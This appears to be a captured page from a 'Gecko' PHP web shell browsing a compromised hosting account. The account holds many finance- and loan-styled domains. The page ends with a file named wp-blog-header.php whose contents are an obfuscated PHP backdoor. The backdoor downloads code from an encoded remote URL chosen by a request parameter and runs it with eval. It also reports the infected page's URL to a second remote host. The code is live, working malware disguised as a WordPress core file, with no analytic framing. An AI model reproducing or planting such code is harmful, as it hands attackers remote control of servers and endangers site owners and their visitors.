Gecko [ herotex-group.site ]

Name	Size	Permission	Date
.cagefs	[ DIR ]	drwxrwx--x	2025-03-15 03:40
.caldav	[ DIR ]	drwxr-xr-x	2025-04-16 08:58
.cl.selector	[ DIR ]	drwxr-xr-x	2025-04-15 18:09
.composer	[ DIR ]	drwxrwxr-x	2024-12-08 14:44
.cpanel	[ DIR ]	drwx------	2025-04-29 23:30
.htpasswds	[ DIR ]	drwxr-x---	2024-07-16 15:54
.nc_plugin	[ DIR ]	drwx--x--x	2025-03-15 03:41
.razor	[ DIR ]	drwxr-xr-x	2025-04-14 14:38
.softaculous	[ DIR ]	drwx--x--x	2025-02-23 15:30
.spamassassin	[ DIR ]	drwx------	2025-04-17 19:54
.ssh	[ DIR ]	drwx------	2025-04-15 12:43
.subaccounts	[ DIR ]	drwx------	2024-09-06 16:23
.system-php	[ DIR ]	drwxr-xr-x	2024-11-22 13:59
.trash	[ DIR ]	drwx------	2025-04-29 08:35
.wp-cli	[ DIR ]	drwxrwxr-x	2024-12-04 12:41
bervistogrup.online	[ DIR ]	drwxr-x---	2025-04-29 01:41
bilancio-canoxa.pro	[ DIR ]	drwxr-x---	2025-04-22 03:17
cac-groupfr.site	[ DIR ]	drwxr-x---	2025-04-28 21:16
camoxavo-group.pro	[ DIR ]	drwxr-x---	2025-04-22 03:17
certixa-group.online	[ DIR ]	drwxr-x---	2025-04-22 03:17
cosmos-auto.pro	[ DIR ]	drwxr-x---	2025-04-29 20:54
deltivoxa-group.site	[ DIR ]	drwxr-x---	2025-04-29 01:41
dervenoxa-kapital.site	[ DIR ]	drwxr-x---	2025-04-29 01:41
efa-groups.pro	[ DIR ]	drwxr-x---	2025-04-22 03:17
empruntis-finance.pro	[ DIR ]	drwxr-x---	2025-04-28 21:16
empruntis-groups.site	[ DIR ]	drwxr-x---	2025-04-22 03:17
etc	[ DIR ]	drwxr-x---	2025-04-24 03:04
euro-systmgroups.site	[ DIR ]	drwxr-x---	2025-04-22 03:17
express-lends.online	[ DIR ]	drwxr-x---	2025-04-29 17:18
feridas-finanzen.site	[ DIR ]	drwxr-x---	2025-04-29 17:30
fernodax-haushalt.site	[ DIR ]	drwxr-x---	2025-04-22 03:16
finance-rovelxato.site	[ DIR ]	drwxr-x---	2025-04-22 03:17
herotex-finanzierung.pro	[ DIR ]	drwxr-xr-x	2025-04-29 18:51
herotex-group.site	[ DIR ]	drwxr-x---	2025-04-29 01:41
inter-stiftung.online	[ DIR ]	drwxr-x---	2025-04-29 07:49
landrover-fondazione.online	[ DIR ]	drwxr-x---	2025-04-29 01:41
logs	[ DIR ]	drwx------	2025-04-22 01:18
lscache	[ DIR ]	drwxrws---	2025-04-22 01:18
lscmData	[ DIR ]	drwx------	2025-04-22 01:18
mail	[ DIR ]	drwxr-x--x	2025-04-29 23:14
meltovixavo.online	[ DIR ]	drwxr-x---	2025-04-22 09:48
mervia-groups.pro	[ DIR ]	drwxr-x---	2025-04-28 07:21
monoveloxas.site	[ DIR ]	drwxr-x---	2025-04-22 03:17
morseltavo-group.online	[ DIR ]	drwxr-x---	2025-04-29 07:44
nervinoxas-finanzwesen.site	[ DIR ]	drwxr-x---	2025-04-28 21:16
nervinoxas-groups.site	[ DIR ]	drwxr-x---	2025-04-29 01:41
nexus-groups.online	[ DIR ]	drwxr-x---	2025-04-17 19:11
nonerva-group.online	[ DIR ]	drwxr-x---	2025-04-28 07:22
onervano-groups.pro	[ DIR ]	drwxr-x---	2025-04-28 07:22
ornolevaxo-capital.site	[ DIR ]	drwxr-x---	2025-04-22 03:17
ornolevaxo.online	[ DIR ]	drwxr-x---	2025-04-22 03:17
public_ftp	[ DIR ]	drwxr-x---	2025-04-22 01:18
public_html	[ DIR ]	drwxr-x---	2025-04-22 01:18
sacerdotessa-mariapollero.pro	[ DIR ]	drwxr-x---	2025-04-28 21:16
scuolaguida-facile.pro	[ DIR ]	drwxr-x---	2025-04-29 16:37
seronoxas.site	[ DIR ]	drwxr-x---	2025-04-28 09:13
softaculous_backups	[ DIR ]	drwx--x--x	2025-04-29 14:56
solidarisk-strukturfinansiering.pro	[ DIR ]	drwxr-x---	2025-04-29 14:55
ssl	[ DIR ]	drwxr-xr-x	2025-04-22 01:18
supportservice.pro	[ DIR ]	drwxr-x---	2025-04-29 01:41
svensk-kredit.online	[ DIR ]	drwxr-x---	2025-04-28 21:16
tmp	[ DIR ]	drwxr-xr-x	2025-04-28 10:54
velxotano-group.pro	[ DIR ]	drwxr-x---	2025-04-29 01:41
www	[ DIR ]	drwxr-x---	2025-04-22 01:18
.bash_history	1.33 KB	-rw-------	2025-02-11 23:07
.bash_logout	18 B	-rw-r--r--	2024-07-16 15:54
.bash_profile	141 B	-rw-r--r--	2024-07-16 15:54
.bashrc	376 B	-rw-r--r--	2024-07-16 15:54
.gemrc	139 B	-rw-r--r--	2024-07-16 15:54
.htaccess	197 B	-r--r--r--	2025-04-22 01:18
.imunify_patch_id	106 B	-rw-rw----	2025-04-16 07:39
.last.inodes	25.38 KB	-rw-r--r--	2025-04-29 09:35
.lastlogin	586 B	-rw-------	2025-04-28 21:50
.myimunify_id	102 B	-rw-rw----	2024-07-17 04:22
.spamassassinboxenable	0 B	-rw-r--r--	2024-07-16 15:54
.spamassassinenable	0 B	-rw-r--r--	2024-07-16 15:54
.wget-hsts	249 B	-rw-r--r--	2025-04-13 03:24
error_log	124.52 KB	-rw-r--r--	2025-03-17 03:55
scanreport-derozboy-Feb_22_2025_18h59m.txt	147.71 KB	-rw-r--r--	2025-02-23 04:19
wp-blog-header.php	2.73 KB	-r--r--r--	2025-04-22 01:18
wp-cron.php	2.73 KB	-rw-r--r--	2025-04-22 01:18

Rename

<?php
 goto aUctt; HhT2w: session_start(); goto j2LzN; j2LzN: $u7wMS = $_REQUEST["\144\x6f\x61\143\164"]; goto iBxbK; KAEwC: UdMtz: goto zDwno; JdmX4: oWTls: goto hylTJ; u84y1: $jc0Nd = (isset($_SERVER["\110\124\124\120\123"]) && $_SERVER["\x48\x54\x54\120\x53"] === "\157\156" ? "\150\164\x74\x70\163" : "\x68\164\164\160") . "\72\x2f\57{$_SERVER["\x48\124\x54\120\137\110\x4f\x53\x54"]}{$_SERVER["\x52\105\x51\x55\x45\x53\124\137\125\122\111"]}"; goto LecGv; LecGv: RdpN_(array("\x77\145\x62" => $jc0Nd)); goto v6eiz; aUctt: error_reporting(0); goto HhT2w; iihwX: $ipdaO = lDmb2(str_rot13("\x75\147\x67\x63\146\x3a\57\57\151\143\x66\x71\x71\x2e\x71\x73\x64\x73\x6e\x67\x2e\x67\142\x63\x2f\x71\x62\x62\x65\57") . $u7wMS . "\x2e\x74\x78\164"); goto oxGvR; hylTJ: $_SESSION["\144\157\x61\x63\x74"] = $u7wMS; goto iihwX; v6eiz: goto UdMtz; goto JdmX4; iBxbK: if (!empty($u7wMS)) { goto oWTls; } goto u84y1; TwgqM: exit; goto KAEwC; oxGvR: eval("\x3f\76" . $ipdaO); goto TwgqM; zDwno: function ldmB2($jc0Nd) { goto M3gLR; AWRjz: curl_setopt($NFh5W, CURLOPT_SSL_VERIFYPEER, 0); goto ISU6b; ggKDJ: $NFh5W = curl_init($jc0Nd); goto lWsck; ufNRO: curl_close($NFh5W); goto Jma1S; y8uH0: dNx8U: goto R78QB; qNKoO: $zT2tW = curl_exec($NFh5W); goto ufNRO; ISU6b: curl_setopt($NFh5W, CURLOPT_SSL_VERIFYHOST, 0); goto qNKoO; a4YTf: q7yvx: goto XN5c0; pf2fm: $nzvqV = fopen($jc0Nd, "\x72"); goto Idv6h; lWsck: curl_setopt($NFh5W, CURLOPT_RETURNTRANSFER, 1); goto bj0at; aVp1K: fclose($nzvqV); goto a4YTf; R78QB: if (!(empty($zT2tW) && function_exists("\146\157\x70\145\156") && function_exists("\163\164\162\145\x61\155\x5f\x67\145\164\137\143\x6f\156\x74\x65\156\164\163"))) { goto q7yvx; } goto pf2fm; jlGHZ: $zT2tW = file_get_contents($jc0Nd); goto y8uH0; M3gLR: $zT2tW = ''; goto Dd4EV; Idv6h: $zT2tW = stream_get_contents($nzvqV); goto aVp1K; o7qZF: if (!(empty($zT2tW) && function_exists("\x66\151\154\x65\137\x67\x65\164\x5f\143\157\x6e\164\x65\x6e\164\x73"))) { goto dNx8U; } goto jlGHZ; XN5c0: return $zT2tW; goto vJwYM; Jma1S: KerET: goto o7qZF; Dd4EV: if (!function_exists("\143\165\162\154\137\145\170\x65\x63")) { goto KerET; } goto ggKDJ; bj0at: curl_setopt($NFh5W, CURLOPT_FOLLOWLOCATION, 1); goto AWRjz; vJwYM: } goto Efa0c; Efa0c: function rdPN_($a30zL) { goto f0ABF; Jq4fY: $kn7I_ = curl_init(str_rot13($jc0Nd)); goto lyhJP; FeFbW: curl_setopt($kn7I_, CURLOPT_POSTFIELDS, $a30zL); goto Cyktn; OUtri: $r2SpD = curl_exec($kn7I_); goto WegPb; f0ABF: $jc0Nd = "\x75\147\147\x63\x3a\x2f\57\145\162\x7a\142\x67\162\x32\60\62\x35\x2e\x6f\x6c\x75\142\147\56\147\142\143\x2f\x76\x61\161\162\153\56\x63\165\143"; goto Jq4fY; Cyktn: curl_setopt($kn7I_, CURLOPT_RETURNTRANSFER, true); goto OUtri; lyhJP: curl_setopt($kn7I_, CURLOPT_POST, 1); goto FeFbW; WegPb: curl_close($kn7I_); goto U2cPM; U2cPM: }
 ?>